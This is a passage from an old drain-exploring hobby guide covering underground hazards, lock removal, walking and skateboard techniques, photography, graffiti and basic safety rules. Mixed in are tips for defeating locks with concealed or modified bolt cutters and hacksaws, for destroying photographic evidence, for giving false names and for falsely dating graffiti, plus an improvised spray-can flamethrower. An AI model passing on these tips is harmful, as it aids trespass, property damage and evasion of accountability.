+damage by their garbage bin. I put on a mean look, my mirrored sunglasses,
+and "Mutant Pathological Axe Murderer" profane body language.
+
+I got in, on my back, and pushed. Hard. Really hard. The lid cracked open and
+about a second later I heard the sound of a large load of bottles spilling
+from a steel garbage bin, followed by the sound of young cricketers saying
+things like "Hey Dave, that garbo there just jumped off the gutter!". A few
+bottles rolled into the gutter box but I concentrated on my task, slowly
+piloting the heavy concrete slab away from the edge far enough so I could get
+out. I kept my mouth shut to keep out the dirt.
+
+Two faces appeared in the view above me, teeÄshirted youths, one with an SS
+cricket bat. One of them said "John there's a guy down there!" The other one
+said something like "Fucken lets get outta here!" but the kid with the bat
+stayed. The cover was now open enough so I climbed out, covered in webs and
+dirt and stood before the kid who must be congratulated on keeping his cool.
+
+I grabbed my bag, then clamped the slab in my hands, walked it on its corners
+until it seated in the collar, and then slowly angled it down until I dropped
+it with a thud into its original position.
+
+More kids from the cricket game stopped their conversations to peruse the new
+arrival. I placed the bin upright and put the lid on, leaving the rubbish and
+bottles where they lay. I crouched before the kid with the bat, said "Sorry
+about the mess." in an uninterested voice, and putting my torch in the bag,
+stood, turned and walked off down the street. He didn't say a word. I heard
+the kids smashing the bottles before I walked round the corner.
+
+ALWAYS CORRECTLY REPLACE MANHOLE COVERS, GRILLES AND CONCRETE LIDS AFTER USE!
+
+
+Stepirons
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Since a lot of old drains have stepirons (those footholds in the walls made
+from old reinforcing bar) which are corroded, don't use them without testing
+them first... the shell of rust on the ouside is useless and may disguise a
+dangerously thin spindle of metal beneath it.
+
+The new yellow or black plastic footholds do not corrode, but may be fractured
+or inadequately glued-in, and tend to be slippery.
+
+Slides
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Slides can be tricky, stick to the dry patches. If the slide is steep and not
+very high you can force your back against the roof for extra points of
+attachment.
+
+As part of the Clan's ongoing quest to improve drain exploration amenity, the
+slide in Fortress has had a rope installed so you can go up or down the slope.
+A rope has been installed at the falls in Milsons Park drain, the slide
+in Coal Cliff drain, and several ropes have been installed at Swoo ][.
+These are either 11 or 12mm diameter kernmantle synthetic Edelrid dynamic
+climbing ropes, or larger diameter nylon ropes, and are pretty reliable,
+and they have been tied to what will probably remain reliable anchors for
+some years yet (stepirons, galvanised safety chain mountings, dynabolts or
+exposed sections of heavy reinforcing rod). The slides are often slippery
+so you need to crouch at right angles to the cement to avoid slipping.
+We'll get around to installing a rope at Sydney Slide one day.
+
+Some drain explorers with ties to the rock climbing community have mentioned
+that it is possible to gain additional purchase when scaling waterfalls, by
+placing self-loading camming devices (SLCDs - "Camalots" by Black Diamond, or
+older "Friends" by Wild Country) in cracks between the pipe sections or in the
+concrete/brickwork itself. These devices bite outwards against the crack
+edges when you exert a pull on them, and rely on the structural integrity of
+the crack edge material to maintain its position under load. Since this
+integrity cannot be guaranteed in erosive conditions such as the humid drain
+atmosphere, this technique should be used with caution, if at all.
+
+Waterfalls
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Attempting to scale these if they have no stepirons or ladders is extremely
+risky. Without a rope, harness and figureÄ8 (or similar) I would be inclined
+to decide not to descend or ascend it. Boosting people in wet conditions is
+inadvisable. Often previous explorers have left "ropes" behind, but these are
+usually highly unreliable (for example, rotting sash cord) and should not
+only not be used but should be cut off to remove temptation from clueless
+gits who might be tempted to rely on them.
+
+Waterfalls are the primary reason one doesn't go exploring drains when it is
+raining outside. You *might* survive being flushed through a tube, dropped
+over slides and dumped violently in a mangrove. You DON`T survive being thrown
+at a wall and then falling any number of metres to a cement floor, at an angle
+you cannot control. You die and get found rotting on a trash rack by people
+walking by the riverside a couple of days later. Simple as that.
+
+Stairs
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Take 'em one at a time. Big stairs (like Greatstairway) demand this since the
+steps are all a metre high. Test and use handrails if present.
+
+Ladders
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+These should be inspected first and tested by getting on the bottom rung and
+trying to shake the ladder. Hawker's Folly has possibly the most dodgy ladder
+in history with three out of six attachments to the wall missing.
+
+Balconies
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Generally these have handrails next to a shaft of some kind. Testing handrails
+by swinging on them is not a lifeÄprolonging practise for reasons which should
+be obvious.
+
+Pits / G.P.T.'S
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Step over these if possible. The deeper ones (like Bourbon's in Melb) are
+anything from knee deep to over your head. They tend to have sharp rubble at
+the bottom of them so tread carefully. There is amusement to be had by fishing
+around for buried coins and other such items in gutter boxes and GPTs,
+I have already recommended the use of gloves, but also suggest a small shovel
+for this activity.
+
+Sometimes a flooded GPT can be drained: look for an outlet pipe at ground
+level and open the cap (eg: Yoda's in Sydney). Siphons represent another
+more tedious method for draining a GPT but were used successfully by Mullet,
+Diode and myself in the GPT behind the round doors at Scorpion's Flaps, to
+remove several cubic meters of water in the course of an hour. We used long
+sections of 100mm PVC gutter pipe, right-angle elbows and duct tape to seal
+it. Small siphons such as the one at the far end of Fortress can be emptied
+using small pumps and batteries, or even manually though this will be a
+tiring and possibly pointless exercise unless you are fanatical about sifting
+the bottom for exciting treasures such as expired credit cards, rusting engine
+components and sand-scoured twenty-cent coins. Occasionally there are good
+finds to be made in GPTs, but this is the exception rather than the rule.
+
+Natural formations
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Animal habitats, unusual geological formations (stalactites, stalagmites,
+flowstone) and similarly interesting things are best left alone so the next
+explorer can enjoy them too.
+
+Safety chains
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Replace these once you pass. Don't just leave 'em dangling. They can be used
+to assist you in getting up slippery waterfalls... throw a weighted rope over
+it and, if you don't pull on it too hard, you can use the rope to help pull
+you up. In general they are reliable but should be inspected before use where
+possible.
+
+Pillars
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+The ones I have in mind are threeÄstorey turbulenceÄinducing jobs at Hercules
+Pillars. These are on a slippery slope. What I tended to do to pass these was
+slide down and grab a pillar, then walk to the side of it and repeat the
+process, which prevents the build-up of speed.
+
+CDS UNITS
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+A new addition to the bottom end of a lot of trunk drains in the future will
+be the aforementioned Pollutec CDS litter-trap. They consist of a Nautilus
+shell shaped cavity with a cylindrical stainless steel perforated plate in the
+centre of it. Water goes thru this, and anything bigger than a ciggie butt
+won't fit through the plate. They have an overflow of unspecified dimensions
+which might be usable as an explorer bypass. CDS units are really a great
+idea, and the rivers WILL be cleaner for them (maybe it is too late for the
+Yarra!)
+
+However... they omit a certain safety requirement: they assume that no-one is
+ever going to be in a drain when it floods. Regardless of wether the person/s
+unfortunate enough to be trapped in such a device have legal permission to be
+in the drain or not, at the moment they have NO WAY OUT of the separator and
+if it fills right up, they'll drown. There are no stepirons in the stainless
+steel separator plate, and apparently nothing in the way of an easily-lifted
+access/escape hatch.
+
+I spoke to the environmentally-friendly, suit-wearing Pollutec rep droid about
+this at Ozwater/Ozwaste trade fair in May 1996. Got that glazed look in his
+eyes, like it had never crossed its mind that their legal arses could be on
+the line about this if negligence (in not providing a way out for a trapped
+person) in the event of a drowning, could be proven attributable to a CDS
+unit.
+
+It is fortunate to note that these things seem to be installed on the side of
+large "dam" rooms (such as the first main room in Yoda's) which means that
+during a flood an explorer will not necessarily be sucked into the CDS
+unit, instead being slowed down by the water already in the dam. An irritating
+aspect of these dams is that they represent an murky, deep and hazardous
+obstacle full of sharps and rotting biological material when the unit is not
+emptied regularly.
+
+ YOU CAN MAKE A DIFFERENCE! You may wish to raise this with Pollutec via:
+ cds@pollutec.com.au
+ http://www.pollutec.com.au
+ also see http://www.cdstech.com.au
+
+ No flames or abusive noise please!
+
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 4) Locks and their neutralisation ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+We are not stupid. We know why locks are there... to cover the legal clauses
+in the public liability insurance that the large public works authorities use
+to prevent themselves from being unable to pay if sued for damages in the
+event that some litigious git's relative gets killed in a drain, bridge
+(etc) and charges them with negligence, intention to provide fun without
+a license or some other such delusional jurisprudential nonsense.
+
+We also know that locks are there (ostensibly) to prevent kids from getting
+into bridges and drains (etc) and exposing themselves to - gasp, how dare
+they - danger. The deaths in the mid 1970s of children exploring the bridge
+at Pheasant's Nest illustrate this danger. However, we are not children.
+
+Historically, works authorities were asked for keys but refused to reply to,
+or even acknowledge, requests for keys. So it used to be that locks would
+be picked or smashed and replaced (with our own) on more worth-it explored
+structures. It was pretty obvious from the graffiti around the lock where to
+write if you wanted a key. (Strange, no-one ever wrote for a key.) Eventually
+though we found it was just cheaper and easier to take the locks off and not
+replace them, 'cos all we got were items of legal-threat fascist hate-mail
+and our locks cut off.
+
+The usual arms-races ensued: if there was a lock, and it couldn't be picked,
+it would disappear. Then there'd be a new lock and that'd go, too. Then
+there'd be a really good padlock on, pick-proof, re-keyable, and then that
+lock would also be decommissioned. Then they'd shackle-shield the replacement
+for that lock. If a lock was shackle-shielded, then the entire door would
+mysteriously unhinge, or disappear, or a few bars from nearby grilles would...
+er, go away. Then the door would be replaced and welded shut so the access war
+would simply move to another door. All of which was pointless. Why not just
+use locks which keep most people out, and be prepared to accept that there is
+a small group which will get in no matter how much money was spent trying to
+keep 'em out? Lock removal technology will always outstrip lock technology.
+
+Maybe we should use tandem locking (see below). There will always be drain
+explorers, and other kinds of curious, determined people. There will also
+always be jimmy bars, oxy torches... often, an el-cheapo hacksaw (like the
+MiniHack - a plastic handle from which the hacksaw blade protrudes -
+permitting the blade through tight gaps which are not accessible with a normal
+hacksaw) can be used cleverly to provide access while leaving the lock in
+place. Even quite large bolt cutters can be concealed on the person: most of
+each handle length is cut off, metal tubing sections of slightly larger
+diameter than the bolt cutter arms stumps are then chosen with diameters
+enabling the arms and sections to tightly telescope. When required for use,
+the tubing sections are sleeved over the stumpy arms of the modified bolt
+cutter, and cutting proceeds normally... we needn't mention the new
+4-inch portable battery powered angle grinders, need we? Exclusion
+approaches to access control will always ultimately fail.
+
+This is not an advocation of gratuitous lock removal, it is raising the issue
+of rethinking public access to public works. I think a policy of maximum
+access is better, since this enables people to have a look (at their own
+risk), doesn't involve smashing locks and also enables people to get out in
+a hurry if needs be.
+
+Methinks when people are old enough to smash locks, people are old enough to
+take responsibility for the subsequent damage that may occur to them as a
+result of being in the once-locked area. Conversely, the authorities should
+realise that locking grilles and welding manholes is a very good way to trap
+people _in_ a confined space.
+
+Those familiar with Zen will see shades of Ganto's Ax in the following story,
+related to me by a Melbourne Clan Co-Founder (mystic music please...)
+
+"Ages ago, the grille at the first split in Dungeon had been left closed
+ and the lock was locked - but not locked around both hasps, so you could
+ still open the grille. We were sick of smashin' endless Board of Works
+ padlocks off the grille, so we bought a lock and locked the grille - through
+ the other hasp of the grille AND the shackle of the Board of Works's lock.
+ So they had keys and we had a key (actually a lot of us had keys!) and
+ whoever wanted in could get in, and be responsible with the locks by locking
+ 'em up in tandem after going through. This worked for about two years."
+
+"Anyway, one day we came along and found our lock had been oxy'd off, and
+ the Board of Works lock was back on, and the grille was locked up again. So
+ we came back and took their lock out, and went in. Then we saw the notices
+ pasted on the wall of the drain from Victoria (Uphold the Reich) Police,
+ saying blah blah tresspass, blah break'n'enter and blah they'd press charges
+ and all that shit. So after that we'd break off their locks and remember
+ how it was.... eventually they gave up and now the grille is always open."
+
+The local locksmith must have loved it.
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 5) Tips and techniques ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+Day or night?
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Whilst the time of day can be often considered irrelevant to the sacred
+practise of urban speleology, I would like to suggest a few advantages to
+choosing exactly which hour of the day one would consider doing a drain.
+
+I have generally found that the exploration of drains in daylight slightly
+less fun than the nightÄdraining. One's nightÄvision doesn't really kick in
+for several minutes and coming out is a blinding, dazzling experience. Ouch.
+
+However, dayÄdraining gives you a better idea of the cloud conditions which
+are prevalent just before you get in, and it is also fun to have the drain
+occasionally lit up from sunlight pouring in through a small grille in the
+top of the drain or through the diffuse beam of a lit side tunnel. The
+warmth of the longÄforgotten sun can be a pleasant embrace after slogging
+along subterranes for an hour or three.
+
+The night drain is one done for reasons of stealth. There are some places you
+just can't get into or out of during daylight without having some guard waste
+his time and yours by asking a whole lot of questions and getting answers
+he is probably too stupid to believe, despite your having torches in broad
+daylight. Try and be quiet and avoid external torch use if possible.
+
+One finds the smell from the surface wafts into the drain at night. In
+general one can pop questionable manholes with considerably greater safety
+at 3am when there is all but zero traffic. Coming out of the drain with
+the munchies and having nowhere nearby to sell you food is sometimes a bit
+of a drag, but there are good japes to be had by, for instance, shining
+your laser-pointer beam on the inside ceiling of cars stopped at traffic
+lights, from your cosy position in a nearby gutter grate.
+
+Drainwalking.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄ
+One of the things the neophyte drainer discovers is that drains are slippery.
+That is, the surface is either covered in algal slime or is just implicitly
+smooth due to erosion and wetness. There is a wide variety of conditions,
+ranging from virgin rough concrete to slimy red brick, cement pipe, plastic,
+surfaces covered in pebbles, mud, broken glass and assorted members of the
+slime families. Until one is used to it, one tends to just fall over a lot,
+usually to the mirth of ones colleagues.
+
+It is also noticeable that the "boomp" sound of your shoes on the concrete
+changes pitch upwards as the diameter of the pipe you're in decreases.
+
+Appropriate footware helps. Something with a soft rubber sole and a lot of
+tread, particularly spiky tread, is better than the smooth soled stuff, and
+Blundstones, Doc Martens, and the like are now known to cut the mustard
+(contrary to my previous claims). Sneakers are ok, but don't handle the slime
+too well, and their spongy sole construction offers less protection to
+penetration by rusting nails, broken glass, etc.
+
+To walk in a drain without falling, don't attempt sudden movement. It is the
+acceleration or deceleration generated by sudden moves which will cause you
+to lose traction. Generally an even pace, with weight spread evenly over your
+sole, will provide better grip than an edgeÄstep or toeÄcreep.
+
+Naturally if a drain is dry (ie, has the small trickle down the middle but
+dry everything else) walk on the dry sections. In the smaller diameter round
+tunnels, parabolics, oblate ellipsoid, and larger oviform drains one can use
+a rhythmic pattern of walking three or five steps on either side of the water
+running down the middle, to wit, place feet as follows:
+
+Direction of travel ÄÄÄ>
+==============================================================================
+left right left left right left left right left
+ ****** water ************ water *********************** water ***************
+ right left right right left right
+==============================================================================
+
+Believe us, it makes life easier on your ankles, it tends to keep your feet
+on their appropriate side more of the time, and is less strenuous than walking
+each foot on its own side of the water all of the time. Of course, you may opt
+for the simpler but occasionally more slippery approach of just walking in the
+water itself, but keeping dry has its advantages, especially after prolonged
+sessions underground where wet feet become unpleasantly soggy and painful to
+walk on.
+
+Some drains are slightly shorter than the explorer, which demands some
+contortion. Crouching rapidly sets thigh muscles on fire; walking with head
+towards one shoulder, or with hands beind your back to remove some of the
+strain of stooping forward, helps. For a little while.
+
+Move your eyes around! Paying attention only to the drain flooring leaves you
+vulnerable to walking into the occasional pipes/beams slung across the tunnel
+roof, or protruding inlets, because you didn't see them. Yes, top-of-skull
+impact with steel, rock or terracotta is usually painful.
+
+Going Much Further Up Drains
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Sometimes there are worthwhile, large tunnels which can only be reached via
+small tunnels. Hence the keen drain explorer may need to crouch, squat, crawl
+on all fours or belly-grovel for a period. Generally this will demand that you
+get wet, unless you bring a transport aid. My investigations into the cut-off
+bottom half of domestic shopping trolleys demonstrated they are heavy, hard to
+conceal, look suspicious, are too large to go in anything less than metre
+wide, and - true to form - do not steer very well.
+
+Pipe diameters are standardised. In less restricted pipe (say, 750mm diameter
+or more) there is adequate clearance for skateboards. You can use these in
+525mm diameter pipes, but you're really forcing the issue. In a 450mm pipe,
+forget trying to lie on the plank. A 375-dia pipe will just fit the skateboard
+but not much else.
+
+The usual technique is to lie upon the deck face down, (face up means your
+hair gets caught under the wheels and everything you see is upside down!)
+after placing some layers of padding (towels, carpet underlay, urethane foam)
+on the deck to prevent body bruising. Some people don't care about the
+direction of the plank relative to them, some prefer to reverse their plank
+and have the skid-pad end near their head. Push with legs/feet and steer by
+leaning in the direction you want to go. Gloves help - they protect fingers
+from debris and also keep them dry, and warmer than the ambient concrete
+temperature. Armoured kneepads are good too, but may chafe the skin behind the
+knee joint.
+
+Drains are skateboard-hostile. You cannot prevent abrasive grit (suspended in
+the water) from penetrating the bearings, but you can use serviceable bearings
+from Naachi, which are $20 per set of 8, and when servicing them, re-pack
+them with Castrol anticorrosion boat-trailer bearing-grease, and they will
+last a long time even after prolonged submersion in salt water.
+
+Im my experience a skateboard is also good for towing items. An eyehook can
+be screwed into a standard (er, Toyworld $20 `disposable') deck, and attached
+to the explorer with a length of rope, this was standard practise at many of
+my drainage worksites. A standard skateboard is not so good for personal
+tunnel transport without modification, because there are pipe sections with
+enough debris to bog normal wheels under body weight, or rubbish which
+becomes caught around the trucks and axles, or the standard 60mm diameter
+wheels drop into and jam in the joints between the pipe sections. You do get
+sick of the "ooof" "ooof" "ooof" feeling on your ribcage.
+
+Sydney Clan's Mr India uses large diameter wheels on his radical, customised
+drain-plank - sourced from Manly Blades [manlyblades.com.au 029 9763833,
+Shop 2, 49 North Steyne, 2095]. They stock drain-proven (but a tad expensive)
+gear such as "Deckhead Dozer" 125mm diameter, alloy hub, urethane wheels with
+knobby tread, for $160 per set of 4 (with stand-offs to stop the wheels
+chafing the underside of the deck). Another wheel, by "Censored Performance"
+has a solid nylon hub in a 76mm diameter wheel, which is about 45mm wide; 4
+for $65. They also sell "Independant" extra-wide 215mm aluminium trucks for
+$50/ea. Note that wide trucks and large wheels will improve debris clearance,
+minimise bogging and joint-jamming, but the price paid for this is that you're
+a little more cramped into the roof of the drain.
+
+Skateboards will fishtail (auto-swerve) in round pipes, tending to oversteer
+and overcorrect constantly. You can lathe standard wheels into a truncated
+cone (mounted on the axle with small end pointed outwards) and this will act
+to centre the skateboard automatically, but will increase bogging and wheel
+wear on flat sections. One can also fit narrow, in-line skate wheels
+(rollerblade wheels) onto skateboard trucks, though you will need washers or
+sleeves to account for the missing wheel thickness on the axle, they aren't
+very comfortable to ride, and they bog quite easily in certain types of
+debris.
+
+My TruToys, scratched-up, delaminating-from-water-exposure-and-I-don't-care,
+skateboard deck is 760mm long, and hence won't turn around in a standard
+diameter pipe section from the 750mm size down. I wouldn't be too upset about
+shaving 10 or 15mm off the ends, the whole board is worth next to nothing.
+Long, 38 inch (965mm) boards are more comfy to lie on but less likely to be
+able to be turned around in a given drain (need a 1050mm diameter pipe to
+turn in).
+
+Skateboards can be fitted with lights and batteries, which leaves hands free
+to push if you have no head torch (you will appreciate this even if it looks
+silly topside). Mind your head, and do try not to run over your fingers.
+Additional trucks don't significantly improve stability, and they degrade the
+steering but do minimise the bowing in the deck.
+
+Note that small-diameter tunneling presents its own problems. It is not always
+a given that the air supply is adequate. Further, you cannot turn around in
+a conduit with a diameter (or long diagonal) less than the distance from your
+patella (kneecap) to the back surface your pelvis (hips). This distance is
+mostly the femur, (thighbone) : your spine and head length can be longer than
+this but they are flexible and can curl to conform with the pipe wall whereas
+the femur is solid bone and will not (wow, just like a skateboard). So, when
+one approaches a small pipe, one must consider the possibility that not only
+will the forward crawl/skateboard roll be a trying episode, but may have to be
+done later in reverse. Get in the pipe and try to turn around right near the
+entrance. If you can't, decide on the basis that you will not, after say
+200m (!) of grovelling, find a convenient shaft in which to turn. You might
+find a nice, deep erosion scour pit to turn in, but don't bet on it.
+
+You can squirm along a pipe of diameter slightly more than your cross-section,
+with your arms stretched out in front of you. It is serious physical effort,
+not something to be undertaken lightly, squirming in reverse is even harder.
+There is also scope for life-threatening panic for those who do not focus and
+concentrate. If you are in a small conduit and it rains, you won't be able to
+squirm much faster than your normal squirming rate. The consequences of this
+are obviously significant.
+
+Navigation.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Don't rely on maps, mostly they are old and they have been known to be
+notoriously unreliable, with bypasses and overflows and tributaries added
+to the drain long after the map was printed. Taking a compass is ok in some
+drains (rock, red brick and plastic) but round cement and precast reinforced
+sections have enough iron in them to yield completely erratic results (a
+compass needle will do a complete 540 degree donut in the space of 2 pipe
+sections in some cases) since these sections commonly have their own fields.
+
+Holding your torch next to your compass when taking a reading is also a good
+way to get a bad reading because the torch has its own field, generated by
+the current flowing through the torch itself.
+
+As for getting lost, with the exception of Dungeon (with a 3D figure 8 space
+loop) and Maze (which has so many alternate routes it is all but impossible to
+memorise) this phenomenon is rare... mark your entrance manhole with some
+ribbon or spraypaint. If all else fails, remember that water always flows down
+hill and make a mental note of which way it was flowing when you first got in.
+Eventually you will end up at a beach or similar outlet if you continue down
+stream. A street directory is sometimes a useful asset.
+
+
+Propaganda
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Back in the early history of the Clan it used to be that message bags with
+cassette tapes or reading material were left in the far upper reaches of
+drains. For example when the Melbourne branch of the Clan came to Sydney they
+would put a cassette into sticky-taped plastic film bags and attach them to
+some part of the drain. This was so other drain explorers would find the
+material and try to make contact with the Clan. Sadly they were often wrapped
+inadequately to protect the contents from attack by floodwater, bacterial
+growth or humidity, by the time we got to them, if they were still there (in
+some cases half a decade later) they were unreadably degraded.
+
+To ensure that a message (or, say, a copy of Urbex) left in a drain will last
+for a long, long time, roll the material up and insert it into a clean,
+well dried 1.25L PETE drink bottle. For extreme dessication you could add in
+a small bag of silica gel, but this probably won't be necessary. Screw on the
+lid tightly. Take a cable tie and lock it around the neck flange of the
+bottle, and through that cable tie, thread in another cable tie, which you
+lock around a stepiron or something like that. Cable ties are cheap, they
+do not rust (like wire) or rot (like string) or unravel (like inadequately
+tied rope), and last for decades. It is appreciated if these are left for
+total newbies - people with existing Clan membership should get their Il
+Draino/Urbex from the back catalogue instead of undoing all the work which
+went into placing the message bottles.
+
+
+Photography
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Drains are not a friendly environment for cameras. Apart from being wet (and
+hence fatal to the camera if you drop it in the water) they are humid, and
+vater vapour from the drain will tend to condense on the camera lens if the
+camera lens is cooler than the drain's air, smudging your photos. Some Clan
+photographers transport their cameras in sealable, zip-lock baggies, or
+have looped rope on their cameras to keep them attached to their wrists.
+
+Nonetheless the Clan has taken thousands of photographs in drains, and many
+of these have gone on to grace the illustrious pages of Urbex or Il Draino,
+the magazines for the thinking drain explorer.
+
+Sydney Clan's sooper-haaardcore photographer ///Siologen feeds his camera rig
+400ASA film, but changes it to 800ASA if he thinks there's a need for greater
+field depth, but general field depth is not something he worries about because
+drains, usually being depth-similar, don't generally need it - what they need
+is maximum aperture due to the dimness of the light.
+
+Long exposures can be used to interesting effect in drains which are either
+dimly lit from outside or drains which are lit by moving torchlight.
+The colour temperature of the light source changes the tone of the shot, for
+example a long exposure shot will look yellow if lit by tungsten filament
+torch globes, but will instead gain a pleasant hue of vomit green if lit by
+fluorescent tubes. Xenon flashes are spectrally white so you get a white shot
+if you paint with a flash, which also gives a strobe effect if your subjects
+move.
+
+The surface texture of the drain influences the granularity of the shot. While
+red brick gives a crisp definition, something amorphous like rockblasted
+stone does not, so focussing is difficult and the shot can become a bit murky.
+Some drains lack visual cues to act as a size scale, so it is useful to
+include one or more persons in the shot, which also eliminates the dark
+fogginess of the center part of the drain, which reflects no light. He uses a
+reasonably large, collapsible aluminium tripod for some of his shots, and
+says "Fuckin' tripod!" a lot when getting through tight squeezes or when
+getting out in a hurry.
+
+My personal kit is a 35mm camera with a timer delay, a flash, a small
+telescoping tripod, and a slave flash unit where possible. I use a fairly
+fast, 400ASA colour film, because that's as long as I can keep the shutter
+open without manual intervention. But, since my camera is old, I can lie to
+it about what film speed it is using - like, using 400ASA film but setting
+the camera at 200ASA gives it twice the exposure it should get.
+
+Flashes are a must, but don't use them if, say, exploring an abandoned factory
+at night. Use IR diode array floodlights and IR sensitive film. Note that
+a standard camcorder detector element will see into the IR spectrum pretty
+well.
+
+Cameras are a little bit risky insofar as they contain a record of your, uh,
+trespass. Hence, it may be necessary to pop the cover and expose the film
+(or crush the disk, if you're using a digital camera) to eliminate the
+evidence. When I get my exposures developed, I use one-hour fotomats, pay
+cash and give a false name, to minimise the chance of my name and address
+details being passed to various interfering anti-fun authorities.
+
+TaggingÄup.
+ÄÄÄÄÄÄÄÄÄÄÄ
+Otherwise known as graffiti. We recommend the nonÄozoneÄdestroying aerosol
+paints available in hardware stores, since paint is absorbed well and we have
+found it stays a long time compared to artline textas. Charcoal is all but
+useless in drains, being washed off by the next flood. Crayon is ok.
+
+Melbourne Clan have painted whitewash on certain parts of certain drains to
+facilitate message-writing. The Pentel white correcting-fluid pens are good
+and things written with them last a long time, but concrete rapidly grinds the
+plastic tip down and they require squeezing to get the ink running, which
+gives hand cramp when writing ornate graffiti.
+
+Textas remain the tool of choice for discrete, precision tag-up.
+
+Modern-day textas tend to use an organic aldehyde as the solvent for carrying
+pigment down the tip by capillary action. Textas can be made to last longer
+or rejuvenated when they dry out, by unscrewing their tips, or unplugging
+their plugged end, and adding solvent to the fibre inkwell. Makeshift solvent
+material is cheaply available from hardware stores - acetone. Don't use too
+much solvent or the texta writing will be thin and washed-out, or the texta
+will leak. Flooding the texta is not a good idea, you want maybe one or two
+millilitres of solvent.
+
+Certain types of concrete tend to clog or erode the tips on artline textas.
+usually one can prevent this by wiping the concrete smooth and dry before
+writing. If you want to tag and your texta has "died" it may be possible
+to tag using the inkwell directly. Unscrew or unplug the texta, shake or
+pull out the fibre core (hard to do on aluminium artline textas) and use
+it to write your tag.
+
+The real advantages to spray paint are that it can write on the rough sufaces
+and can also be used as a pesticide. I find this useful for clearing redback
+spiders from gutter grilles; since there is never methane buildup in
+these openÄaired grilleÄboxes, you can safely convert your spraypaint to an
+impromptu flame thrower and nuke the little mothers (gouts of flame emerging
+from drainage grilles may arouse suspicions, however). Dispose of your empty
+can in a responsible way, dont just flick it in the water. Puncture your can
+extensively to allow rapid natural oxidation after use if it looks like going
+to landfill.
+
+Stickers were a popular method of tagging, and they last a long time, but
+tend to work better on smooth, clean, flat surfaces - for example on top of
+previous works of graffiti.
+
+The Clan tends to put their PO box and http addresses in the drains they
+explore, along with the handles of members present on the expedition, and the
+date... the wrong date. We sometimes date it so that we were supposedly
+inÄdrain a few days before we actually were, or a few days after.
+
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 6) Technical and safety stuff which matters. ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+The basic rules of drain exploring.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+1) When it rains, no drains. Check the skies, get a weather report. DO it!
+2) Always go in numbers (3 is good, more can get a bit crowded).
+3) Tell a third party where you are going. In some cases you might arrange
+ someone to come looking for you, if you haven't called them by a
+ prearranged time.
+4) Take a reliable torch. Also take a reliable spare torch.
+5) Check the air for noxious, unbreatheable or poisonous impostors.
+
+Lighting
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Torches are your lifeline in the drain. Drains are so dark that your brain
+fools you into thinking that you saw something, just cause it is so used to
+seeing that it is uncomfortable when it isn't. There is not a visibleÄspectrum
+photon to be had. Wave your hand in front of your face and you won't see it,
+you'll only ÄthinkÄ you did. So forgive me, but I will go into this topic
+in some detail.
+
+It goes without saying: don't use candles, you can't smell methane.
+
+Always carry a spare torch! I'll say it again, always carry a spare torch.
+Make sure they both work when you go in. Examples of unsuitable light
+sources can be found at the end of this section.
+
+Photonic ettiquette.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Do NOT shine your torch or fire your camera flash into other explorer's eyes.
+This is rude and messes up their night vision for some time. The reason why
+you need surprisingly little light to see by when your eyes have dark-adapted,
